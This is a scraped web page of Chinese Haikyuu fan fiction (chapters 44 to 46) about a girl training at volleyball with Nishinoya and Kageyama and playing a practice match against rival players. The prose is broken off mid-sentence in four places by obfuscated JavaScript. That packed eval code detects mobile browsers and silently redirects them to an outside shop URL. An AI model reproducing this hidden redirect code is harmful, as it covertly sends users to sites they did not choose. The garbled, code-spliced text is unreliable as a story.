l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321159|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “球场上，最容易让人震惊、然后获得观众欢呼的瞬间，并不一定是扣球的瞬间的！！” “当所有人都以为这一球已经救不起来、甚至飞出场外，连对手都以为拿下了一分——那种时候，”西谷夕用大拇指指向了自己，“就是我们自由人创造奇迹的时候了！” “‘唰’得一下跑过去，‘哗’得一下鱼跃——” “然后把看似不可能救回来的球重新打回去！” “在绝境中为大家找回失去的希望——” “救起来球的那一刻，来自观众席的欢呼才是最热烈的！” “就算拿不了分，但是这份帅气也无人能敌！！”西谷夕无比骄傲地说着。 雪村夜芙的脸上情不自禁露出向往。 没错。 那种让人热血沸腾的欢呼声——她隔着两个体育馆、隔着好几个月，都还能够清晰地回忆起。 总有一天，雪村夜芙想着，人群也会为她而欢呼的。 “还有，你知道救球的极限在哪里吗？” 不需要雪村的回答，西谷就咧嘴笑着继续，“没有——根本不会有极限的啊！” “助跑、预判，再加上手甚至是腿的长度，”西谷夕用肯定的语气说着，“你可以在一瞬间——就跑到球场任何位置，用身体的任何部位把那颗看似已经不可能了的球拦下来。” “是‘任何位置’和‘任何部位’，”西谷看着雪村的眼睛强调着，“只要你想，就一定可以做到。” “……好。” 雪村深呼吸一口气，认真答应了下来，“我也要成为像西谷前辈一样帅气的人！” “啊——” “哈哈、哈哈哈哈……哎呀不要说得这么明显啦！” 被夸得愣了几秒，西谷夕假装谦虚地这么说着，然后摸着后脑勺问雪村夜芙要不要吃棒冰。 “夏天到了啊！又可以开始吃冰了！” “超——舒服的！” “一支够吗？要不然吃两支呢？三支也行啊～” 雪村夜芙笑着弯腰抱起球，“一支就够了啦！” “好，那等我们练完就去吃冰！！” “嗯！” 结果今天影山飞雄结束训练到8号体育馆接人的时候扑了空，大脑差点宕机。 还好遇到了先一步找到了人的缘下力。 “他们两个啊。”缘下力也很无奈。 他只不过一眼没看到，雪村就被西谷带着跑去森然的便利店买棒冰去了。 影山飞雄：“……” 月光下，西谷夕和雪村夜芙坐在晴坡上方的一块大石头上。 盛夏的阳光把石头晒得很烫，直到夜里都还有些微微发热。 “西谷前辈打球这么厉害，以后也会继续打下去吗？” 雪村夜芙咬了一口棒冰，然后好奇地问。 “我啊？不知道诶……”西谷难得思考了一下，“说不定就不打球了吧。” “世界那么大，我想做的事情还有很多很多嘛！” 西谷夕把棒冰塞进嘴里，咬下一大块咔哧咔哧嚼完咽了下去，然后忽然站了起来。 他看了眼夜空，接着又回头看向雪村夜芙。 那抹橘色的头发被夜风吹起，他带着少年人特有的帅气笑得很灿烂，说着： “毕竟我的征途是星辰和大海啊！” 44.心事 影山飞雄和缘下力找过来的时候，刚好雪村的棒冰也吃完了。 挥手和西谷前辈告别，她走到影山身边笑着和他说：“我们走吧？” 影山飞雄点了点头。 刚才雪村不在体育馆里，他不自觉变得有些紧张。 现在看到了她，影山心里就不自觉松了一口气。 而他们身后，西谷夕想也不想就问缘下力：“今天是我帮雪村训练的，明明我也可以送她回去嘛。” “为什么是影山那家伙——” 缘下力沉默了一会儿说：“……你还是别问了。” 他还奇怪呢。 只要雪村学妹一出现，影山飞雄就完全变得不对劲了——但是整个乌野是只有他发现了吗？ 从雪村来乌野当经理开始，一直到现在——他真的快要憋出来内伤了啊。 这群单细胞！！ 等等，影山也是除了打排球以外就不会思考的单细胞生物吧？ 所以搞不好连影山自己都没发现……？ 森然的校路上。 影山飞雄落后雪村夜芙半步走在她身侧，听她说着今天又和西谷前辈学了什么。 但他今天却有些心不在焉，格外沉默。 “西谷前辈的接球实在是太厉害了，我感觉我要练很久呢！” “我有和他约好，等先练习两天，然后我再麻烦他指导一次好了……” “……” 影山飞雄时不时应一声，脑海里却不自觉回想起今天乌野和井闼山打的那几场训练赛。 双方也都有输有赢——原本他并不会觉得怎样，毕竟井闼山这样的强校，想要一直赢过他们的话也确实有些勉强了。 但是想起昨天佐久早前辈说过的话，影山飞雄又觉得有些不舒服了。 不知道为什么……就是很想赢下和井闼山的比赛，赢过佐久早前辈，一场都不想输。 输给佐久早前辈的话，会觉得有些莫名的担忧，像是会输掉什么一样。 所以影山飞雄好想赢，比任何时候都更想要赢。 影山飞雄觉得自己的脑子变得好乱，但有点找不到原因。 离女生合宿楼不太远的地方，雪村夜芙停了下来，转身看向影山飞雄。 “好了，剩下的路我自己走吧。” 她抬头一边仔细观察影山飞雄的神情，一边说着：“怎么了，是今天的训练太累了吗？” “那就快回去好好休息吧？” 一整路都没有说话，和平时的表情也不太一样。 根本不知道藏住心事的影山飞雄，雪村一眼就可以看出来异样，目光中忍不住有些担忧。 “如果太累的话，不要勉强为我做这么多啊……” “我很习惯一个人走夜路的啦。”雪村笑着这么说。 她很喜欢有影山飞雄陪在身边的感觉，但她也不想影山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338431|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因此太辛苦。 “……雪村。” 影山飞雄忽然叫她的名字。 “怎么了？”她问。 “……” 我和佐久早前辈，你会希望谁可以赢下比赛—— 这样的念头在影山飞雄脑海里冒出来的时候，连他自己都被吓了一跳。 但是就像佐久早前辈说的那样，雪村毕竟是井闼山的学生。 所以雪村她会不会真的希望井闼山男排拿到冠军，希望佐久早前辈赢过他？ 影山飞雄抿了抿唇，不敢再想这个问题，只是眼神里不自觉流露出一丝失落。 “早点……休息。”影山飞雄听见自己这么说着。 影山飞雄第一次有了心事。 雪村夜芙没有让他一定要说出来。 她只是往宿舍楼走了几步，然后回过头，意料之中地看见影山飞雄有些失落地站在原地。 雪村夜芙无奈地笑了笑，还是叫住了他。 “喂，影山。”雪村歪着头说，“等这次的全国赛打完，陪我去逛银座好吗？” “总感觉打完比赛以后，夏天都快要过完了啊。” “但我还没怎么在东京逛过。” “可以和我一起去吗？” 影山飞雄纠结在一起的思绪，忽然就这样被雪村夜芙几句话拉了回来。 他猛然抬起头，眼神里恢复了光，然后毫不犹豫地点了点头。 45.来打一场特别的比赛吧！ “雪村学妹——” “看到了吗看到了吗？”日向翔阳打完一个球转头对雪村夜芙说着，“这个就是‘负节奏’的快攻哦！” “‘啪’的一下——对面还没反应过来就已经得分了！” 雪村夜芙抱着球站在球场边乖巧地点了点头说：“看出来了！真的很快很快！” “不过我也试着和队里的二传打过，但是要完美配合上还是有些困难的……所以暂时还没办法拿来得分。”雪村夜芙有些不好意思地说。 其实她还在北川第一，影山刚刚和日向一起打出了“怪物快攻”的时候，雪村夜芙就很好奇地要影山陪她练过类似的进攻。 虽然她的速度不如日向，跳跃也不如日向，但是因为有影山精湛的托球，所以时不时也能打出几个出人意料的快攻呢。 那种球忽然就到了自己手里的感觉，那种能够自由进攻的感觉——真是想想就让人忍不住开心啊。 能够拥有一个技术精湛又无比默契的二传，简直就是每个主攻手的梦想嘛。 “要是我也能一直打影山的托球就好了。”雪村夜芙记得自己那时候这么说过，现在也忍不住这么羡慕着日向。 看着雪村陷入短暂的思考，影山一下子想明白了其中原因，很努力才忍住了骂日向是笨蛋的冲动。 “不过日向前辈的平拉开真的也好厉害啊，是怎么做到那么精准的啊？”雪村夜芙笑着换了话题。 “啊，那个其实也不难的啦！就是说……” 影山飞雄帮着托球，而日向很努力地在教雪村自己的扣球技巧。 但没过多久。 “哇我不管，我也是主攻手啊——” 鹿目佑树扒着8号体育馆的门委屈地大声说着，身后是试图把他和门分开的田中龙之介。 “我可是要接替田中前辈成为乌野的王牌的主攻手啊——” “我也要帮雪村同学训练！！” “喂！你这个连全国赛都还没打过的臭小子！！” 田中头痛到感觉真是遇到克星了，“不是刚才还扣飞了一个球吗？打成那样你到底是怎么理直气壮要来帮别人训练的啊？！” 田中咬着牙想把鹿目佑树带回去，心想当三年级前辈什么的真是太折磨人了！ 他以前肯定没有给大地学长添这么多麻烦！ ……应该是没有吧？ 体育馆内，训练中的三人都被他们两个吵到停了下来。 雪村夜芙看过去的时候，鹿目佑树很努力地向她伸出了手，嘴里还喊着：“雪村同学——” “让我来帮你训练啊啊啊——” 影山飞雄不太高兴地用眼神刀了他好几遍。 真是麻烦的后辈…… 一开学就缠着他帮忙托球也算了，结果还一直跟他打听雪村什么的。 要不是还要让他上场一起打比赛，影山飞雄真的一点都不想看到鹿目佑树。 “到底在干什么啊，我隔好远都听到你们两个在乱叫啊！” 缘下力从另一个体育馆跑来救场，“拜托小点声啊，是要把这附近所有人都喊过来吗？” 结果一语成谶。 “诶？这里好热闹啊？” 缘下力才说完没多久，银色头发的高个子男生就听着声音找了过来。 “诶？！还有女生一起练球吗？！” 看清体育馆内的大家后，银发男生原本像猫咪一样狭长的瞳孔一下子瞪圆了：“我也要加入！！” 灰羽列夫腿很长，刷一下就窜进了8号体育馆内。 不过才刚进来，他忽然又一拍脑袋想起了另一件事：“对了啊好不容易约了研磨前辈帮忙托球来着……” “等等啊，我去拉个人再过来——” 谁说要等你了？！ 影山飞雄眉头不自觉皱起。 努力平复了一下心情，影山继续给雪村托球，结果才打了没几个又有熟悉的声音传了过来。 “啊，是上次那个女孩子啊，”星海光来也刚刚结束了训练，听到声音特意路过了这边，结果就看到了在练习扣球的雪村夜芙。 “你最近有长高吗？” 星海光来看着雪村，远远地估计了一下，感觉好像自己实在占不到优势，于是嘴硬说着：“但是肯定还是跳得没我高就对了。” “怎么样，要我再跳给你看一遍吗？” “那个，星海前辈……” 还没等雪村回应，影山飞雄就横插一脚试图挡在雪村夜芙和星海光来中间。 一上来就问雪村身高什么的，他们两个是很熟吗？？ 影山飞雄如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357114|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临大敌。 结果雪村夜芙从影山背后探出来头，完全不服输地说着：“星海前辈，我的摸高数据最近进步了快二十公分哦。” “按进步速度来算的话搞不好是你输给我？” 听到这种话，头发像羽毛球一样的前辈非常沉不住气，一脚跨进体育馆，说着：“那让我来见识一下啊——” 影山飞雄：“……？” 今天不是轮到他来给雪村托球吗？ 现在是怎样回事，为什么人越来越多了啊？ “大家！我回来了！”灰羽列夫手里提了一只孤爪研磨，再次出现在8号体育馆的门口。 身后莫名其妙还跟着另外两个，井闼山的佐久早圣臣和古森元也。 “哎呀，原来雪村学妹最近一直和乌野这群家伙呆在一起吗？” 古森元也笑着说着这样的话，余光去看佐久早的神色——果然，就算带着口罩，眼神忽然变了这一点也很明显嘛。 影山飞雄：“……” 只有日向瞪大了眼睛，兴奋到不行，并且提出了一个绝赞的提议—— “哇，这么多人啊——” “那我们干脆来打比赛好了啊！！” 日向翔阳扭头对着雪村夜芙说道：“让我的快攻来给你当诱饵吧！雪村学妹！！” “我来帮你开路！” 成为网的对面所有人提防的目标，为主攻手创造发起进攻的机会——也是帅气到不行啊！ 就算和最初的心愿不同，身为副攻的日向翔阳已经完全接受。 “我再去多喊几个人来啦！” 日向翔阳一个人就决定下来了这样的事，准备过去把乌野队员能抓的全都抓过来，毕竟网的那边都是这届全国赛上最厉害的人了吧—— 佐久早圣臣、星海光来、古森元也…… 同时和他们打比赛，就算只是练习赛，赢了的话也简直不要太酷了！ 影山飞雄看了一眼现在体育馆里的人，并没有出声反驳日向心血来潮的提议。 这样的训练赛如果真的能打起来的话，雪村一定也能从中学到很多。 这么想着，影山飞雄走近并站在了雪村夜芙身边，认真说着：“我来给你托球。” 这一场训练赛，雪村夜芙将会是影山飞雄的主攻手。 46.怪物们的比赛 于是没过多久，西谷夕还有月岛和山口也都出现在了8号体育馆门口。 西谷夕的反应和日向简直一模一样，看着现在站在球场上的那些家伙，整个人的斗志都被点燃。 “来吧来吧来吧！！” “什么‘小巨人’什么‘全国攻手’啊——” “通通交给我！” 超级捧场的日向：“西谷前辈太酷了啊啊啊！” “看好了！我肯定把他们的球全都接起来！” 日向：“就是就是！！” “别放大话了，球场上见啊！” 灰羽列夫完全自信地说着这种话——经过近一年的训练，拜托他已经无人能敌了好吗？ 而月岛萤先是幸灾乐祸地看了眼影山飞雄，一想到那家伙等了好几天才等到和雪村一起训练，结果现在被迫中断什么的——真是让人身心愉悦啊。 而等到月岛转身看向场上那些不请自来的家伙后，整个人又瞬间变得严肃了起来。 每一个都不好对付——可恶，居然一下子来了这么多吗？ 正面对决根本没有优势，还是得尽快找到他们的破绽……或者说制造破绽才行。 月岛萤陷入思考。 古森元也记得佐久早圣臣原本是要赶着回去洗澡的，但是这种比赛——和明明是对手的家伙组队一起什么的肯定很好玩，于是回头想问他要不要留下来。 结果古森还没问出口，就看见佐久早摘下口罩折好默默放进了口袋，然后把外套丢在了一旁的椅子上，自己走向了球场。 走向了没有影山飞雄的那半边球场。 和影山一样，不知道从什么时候开始，比赛的输赢对他来说，忽然有了另一层含义。 所以根本不想输。 他们都比过去都更加在意彼此之间的对局。 佐久早圣臣目光不明地看向影山飞雄。 雪村夜芙刚刚在球场边休息了一会儿，为了恢复体力更好地沉浸到接下去的比赛中。 看到大家都一副认真对待的样子，她也蹲下身用力系紧了鞋带，然后站起来跑向了球场。 用影山的托球，和这些厉害的人打一场比赛什么的——这种机会，她可要好好把握才行！ 试着去学也好，认清差距也罢——总之只要是能让她变强的事情，她都会努力去做。 雪村夜芙毫不犹豫地跑向了影山飞雄。 而在她的身后，佐久早圣臣整个人都愣了愣。 看着雪村跑向别人的样子，佐久早的眼中忍不住滑过一抹失落。 选择走向影山飞雄……而不是他吗？ 在井闼山训练的时候，明明雪村夜芙也曾抱着球向他跑过来的。 那个时候——那个时候雪村的样子，后来的佐久早无数次想起。 “……” “好——那我来给大家当裁判吧？”球场上的大家都找到了自己要打的位置开始热身，山口忠笑着提议。 他并不打算上场。 发球是他的武器，但在其他方面，他不得不承认自己是完全没有优势的。 甚至在场的选手当中，发球厉害的人也比比皆是，连雪村的飘球也在多日的训练下有了很明显的进步。 趁机好好观赛，试着在这些优秀的选手身上学到些什么，是他现在更好的选择。 那这样的话，就还差一个人—— 古森元也忽然看到了站在门外没有进来的浦野和希，于是毫不犹豫叫住了他。 “喂，浦野，”古森说着，“来打场比赛？” “不过可能要补个位……” 浦野和希愣了愣，立刻大声说了“是”，小跑着进入8号体育馆。 “我……我打什么位置都可以！” 他其实在几天前就发现了雪村晚上会在这边训练，很早之前就想走进这个体育馆了。 但是自从那个雨天以后……他忽然就不敢靠近她了。 被喜欢的人讨厌什么的，是世界上最糟糕的事。 不敢靠近，但还是下意识想靠近—— 所以有雪村参与的比赛，他也想要加入。 怀着不同的心情，这场特别的训练赛终于要开始了。 雪村夜芙看向了网的另一边。 冷静理智到可怕，被临时抓来的二传手孤爪研磨； 摘下了口罩，说是全国第一攻手也不为过的佐久早圣臣； 当之无愧的小巨人，总是爱和她较劲的星海光来； 身高快要两米的拥有绝对优势的灰羽列夫； 同样耀眼的自由人古森元也。 还有那个……排球确实也很优秀的浦野和希。 哦对了，田中前辈说着“鹿目那臭小子太烦人了”，然后跑到对面说要好好教训他一顿。 其实大概是为了把主攻手的位置留给她吧。 雪村对此很感激。 而网的这一边，日向和鹿目早就跃跃欲试，月岛居然也是一副很感兴趣的样子。 在接球这种事上已经变得像过去的大地前辈一样稳重的缘下力，以及早就等不及了的西谷夕。 还有，说着要给她托球这种话的影山飞雄。 影山用几乎可以称得上是温柔的目光看向雪村夜芙，认真说：“有我在。” 这场特殊的比赛中，他会给出最好的托球来帮助雪村拿分。 雪村夜芙用力地点头，和乌野的大家站到了一起。 比赛开始。 在高中经过这么多场比赛的日向，已经完全没有了当初的生涩，进攻又快又准。 而网对面的各大高校的王牌选手却因为第一次配合显得有些乱，最开始居然还落后了乌野两分。 但是球技都无比高超的他们快速磨合，很快就已经能够打出不错的配合了。 佐久早圣臣大力打出一个斜线球拿到一分，追上了乌野这边的比分，然后回过头认真地和孤爪说着：“下次给的球可以更高一点。” 孤爪研磨点了点头，他也已经几乎掌握了佐久早的习惯。 “灰羽，小心对面的多位置进攻，”佐久早难得一次说这么多话，“看准了扣球的人再拦网。” “……别再被骗了。” “好嘞！”灰羽列夫摸了摸鼻子应下。 总感觉他在和一群怪物在打球啊…… 网的那边是，网的这边也是。 开玩笑，他怎么能被耍得晕头转向啊啊啊—— 看来得拿出全部实力才行！ 似乎察觉到佐久早圣臣对这场比赛的过分看重，这边的气氛也变得更加热血了起来。 星海光来高高跃起，近乎直线地在网前扣下一个球——然后收获了月岛萤的臭脸。 羽毛球前辈挑衅得抬着下巴瞥了月岛一眼，然后又看向雪村，“怎么样，我就说我跳得比你高——” 真是有够争强好胜的…… 月岛想着，所以要怎么利用这一点比较好呢？ 而日向因为一开始突出的表现，果然被对面防守得很死，那么这种时候—— 如果同时拥有两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368794|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出色的攻手，并且他们都坚信球会来所以做好了击球准备，那么对面的防守注定会出现漏洞。 因为在这样的情况下，其中一个攻手注定会变成出色的诱饵，来分散很大一部分注意力。 再加上这两个攻手的二传还是影山飞雄。 已经再也不会遭受质疑的天才二传。 影山飞雄的眼神看向了日向，完美的视线假动作——再次把灰羽列夫骗走，而他的心里想着另一个名字。 夜芙，雪村夜芙。 “啪”的一下，以极快的速度——影山将球背传给了雪村，而后者毫不犹豫地起跳，并且完美地在最恰当的时机、最适合的位置，扣下了她这场比赛的第一颗球。 包含了她多年训练经验的一球，让人无比惊艳的一球—— 不仅是接近负节奏的快攻，而且在瞬间做出了判断——雪村夜芙往日向制造的缺口、防备薄弱的左场打出了压线球。 然后在那样强势的对手手中，她拿到了一分。 “雪村学妹！！”山口忠也激动得有些语无伦次，“扣球得分！” 雪村夜芙看着自己的手心，感觉……甚至有些不真实。 为了这一球，她曾经和影山飞雄在北川第一、在宫城活动中心、在乌野、在井闼山——在那么多的球场上，练习了无数遍吧。 也因为这些年的训练，影山飞雄和雪村夜芙之间拥有着任何人都想象不到的默契——不亚于怪物组合的默契。 他们只是一直都……没有办法站到同一个球场上而已。 但是今天，这样的愿望也终于实现了。 扣下了这球的雪村夜芙，眼睛亮亮地看向影山飞雄。 影山飞雄也正看着她—— 雪村这样的目光，他在很早很早之前就见过了。 在他们遇见的第一天，北川第一的体育馆外，第一次扣到影山给出的托球的雪村就是用这样的目光看着他的。 结果那时候，影山飞雄说的居然是“你打得真的挺烂的”这种话…… 时间过得好快。 三年后的今天，打出了这样的扣球的雪村夜芙，再次用同样的目光望向了影山飞雄。 三年了啊，他们之间的羁绊和默契。 影山飞雄抿了抿唇，目光柔和地回应她—— “很厉害……是真的，很厉害。” 听到这样的话，雪村夜芙睁大了眼睛，然后向着影山露出了最真实而灿烂的笑容。 她等这个回答，真的等了好久啊。 “啊，大意了啊……”古森元也诧异地说着，“原来那种怪物一样的快攻，雪村学妹和影山飞雄也能配合着打出来吗？” 所以他们两个之间的默契…… 古森元也带着不好的预感看向了佐久早圣臣。 而佐久早还沉浸在雪村夜芙刚才的那个扣球当中。 那个拥有着刁钻的球路，带着轻微旋转的压线球—— 她真的有很好地学会啊，佐久早的目光不由自主落在了雪村夜芙身上，然后忍不住这么去想。 怎样让球路变复杂、怎样让球带上旋转、怎样打出一个压线球…… 那些他们一起训练的晚上，雪村夜芙总是用无比认真甚至近乎虔诚的目光看着佐久早圣臣，看着他一遍遍地示范，然后她一遍遍地练习。 佐久早圣臣感觉自己已经完全没办法移开目光了。 他教的东西，雪村她真的无比认真在学，并且真的已经学会了吧。 是他亲手教出来的……雪村夜芙。